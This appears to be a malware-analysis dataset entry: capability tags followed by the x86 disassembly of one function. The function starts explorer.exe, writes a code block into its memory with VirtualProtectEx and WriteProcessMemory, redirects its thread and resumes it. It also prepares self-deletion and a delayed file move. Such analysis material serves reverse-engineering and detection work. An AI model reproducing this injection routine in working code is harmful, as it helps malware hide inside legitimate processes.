Function at 0x41778a
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get common file path
Move file
Resume thread
Set current directory
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x49d581
mov eax, dword fs:[0]
push eax
mov eax, 0x120c
call fcn.004549e0
mov eax, dword [0x4e98d0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x11ad]
mov edi, 0x4c8e80
push eax
lea ecx, [ebp - 0x248]
mov dword [ebp - 0x248], edi
mov dword [ebp - 0x220], 0x4c8e20
call fcn.00403e30
mov dword [ebp - 4], 1
mov esi, 0x104
push esi
lea eax, [ebp - 0x11d0]
push eax
lea ecx, [ebp - 0x248]
call fcn.00415f67
mov byte [ebp - 4], 2
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00415f0c
push esi
push dword [eax]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x11d0]
call fcn.00411bac
push ebx
push ebx
lea eax, [ebp - 0x2a8]
push eax
lea ecx, [ebp - 0x248]
call fcn.00416233
mov byte [ebp - 4], 3
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x11c4], esp
push 1
lea eax, [ebp - 0x248]
push eax
call fcn.0041142f
mov byte [ebp - 4], 4
mov byte [ebp - 4], 3
call fcn.00482620
add esp, 0x34
test al, al
jne 0x4178af
cmp byte [ebp + 8], al
je 0x4178a8
push 0xc
sub esp, 0x30
mov ecx, esp
mov dword [ebp - 0x11c4], esp
push 1
lea eax, [ebp - 0x2a8]
push eax
call fcn.0041142f
mov byte [ebp - 4], 5
mov byte [ebp - 4], 3
call fcn.00482620
add esp, 0x34
test al, al
jne 0x4178af
mov bl, 1
jmp 0x417ba4
push ebx
lea eax, [ebp - 0x11ad]
push eax
lea ecx, [ebp - 0x278]
mov dword [ebp - 0x278], edi
mov dword [ebp - 0x250], 0x4c8e20
call fcn.00403e30
mov byte [ebp - 4], 9
push esi
lea eax, [ebp - 0x11d0]
push eax
lea ecx, [ebp - 0x278]
call fcn.00415f67
mov byte [ebp - 4], 0xa
mov ecx, dword [eax]
mov byte [eax + 4], 1
call fcn.00415f0c
push esi
push dword [eax]
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x11d0]
call fcn.00411bac
cmp dword [ebp - 0x264], 0
je 0x417934
cmp dword [ebp - 0x260], 8
lea eax, [ebp - 0x274]
cmovae eax, dword [ebp - 0x274]
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 6
pop ecx
mov esi, str.explorer.exe
lea edi, [ebp - 0x218]
rep movsd dword es:[edi], dword [esi]
push 0x1ee
lea eax, [ebp - 0x1fe]
push ebx
push eax
movsw word es:[edi], word [esi]
call fcn.004526c0
push 0x44
pop esi
push 0x40
lea eax, [ebp - 0x1214]
push ebx
push eax
mov dword [ebp - 0x1218], esi
call fcn.004526c0
add esp, 0x18
lea eax, [ebp - 0x11c0]
push eax
lea eax, [ebp - 0x1218]
push eax
push ebx
push ebx
push esi
push ebx
push ebx
push ebx
lea eax, [ebp - 0x218]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x417b95
push 0xc31
lea eax, [ebp - 0x11a8]
push ebx
push eax
mov dword [ebp - 0x11ac], ebx
call fcn.004526c0
mov eax, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
cmp dword [ebp - 0x230], 8
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 0x9a4], eax
mov eax, dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 0x99c], eax
mov eax, dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
mov dword [ebp - 0x998], eax
mov eax, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 0x994], eax
mov eax, dword [sym.imp.KERNEL32.dll_ExitProcess]
mov dword [ebp - 0x990], eax
mov al, byte [ebp + 8]
mov byte [ebp - 0x988], al
lea eax, [ebp - 0x244]
cmovae eax, dword [ebp - 0x244]
mov esi, 0x104
push esi
push eax
lea eax, [ebp - 0x987]
push eax
mov dword [ebp - 0x9a0], edi
call fcn.00454a0b
add esp, 0x18
cmp byte [ebp + 8], 0
je 0x417a56
cmp dword [ebp - 0x290], 8
lea eax, [ebp - 0x2a4]
cmovae eax, dword [ebp - 0x2a4]
push esi
push eax
lea eax, [ebp - 0x77f]
push eax
call fcn.00454a0b
add esp, 0xc
mov esi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push ebx
push ebx
push ebx
lea eax, [ebp - 0x9a8]
push eax
push dword [ebp - 0x11c0]
call esi
push eax
call esi
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
mov eax, 0x417c41
mov ecx, 0x417c9d
sub eax, ecx
cmp eax, 0x800
jbe 0x417acb
push ebx
push dword [ebp - 0x11c0]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x11c0]
call edi
push dword [ebp - 0x11bc]
call edi
cmp dword [ebp - 0x230], 8
push 4
lea eax, [ebp - 0x244]
cmovae eax, dword [ebp - 0x244]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x417b95
push eax
push ecx
lea eax, [ebp - 0x11a8]
push eax
call fcn.004529d0
add esp, 0xc
lea eax, [ebp - 0x574]
push eax
push dword [ebp - 0x11bc]
mov dword [ebp - 0x574], 0x10003
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov esi, dword [ebp - 0x4b0]
add esi, 0xfffff3cb
and esi, 0xffffffe0
mov dword [ebp - 0x11ac], esi
lea eax, [esi - 4]
mov dword [ebp - 0x4b0], eax
lea eax, [esi + 4]
mov dword [ebp - 0x4bc], eax
lea eax, [ebp - 0x11d4]
push eax
push 0x40
push 0xc35
push esi
push dword [ebp - 0x11c0]
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push ebx
mov ebx, 0xc35
push ebx
lea eax, [ebp - 0x11ac]
push eax
push esi
push dword [ebp - 0x11c0]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push ebx
push esi
push dword [ebp - 0x11c0]
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
lea eax, [ebp - 0x574]
push eax
push dword [ebp - 0x11bc]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [ebp - 0x11bc]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [ebp - 0x11bc]
call edi
push dword [ebp - 0x11c0]
call edi
mov bl, 1
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x278]
call fcn.00401b80
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x2a8]
call fcn.00401b80
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x248]
call fcn.00401b80
mov al, bl
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004526a3
leave
ret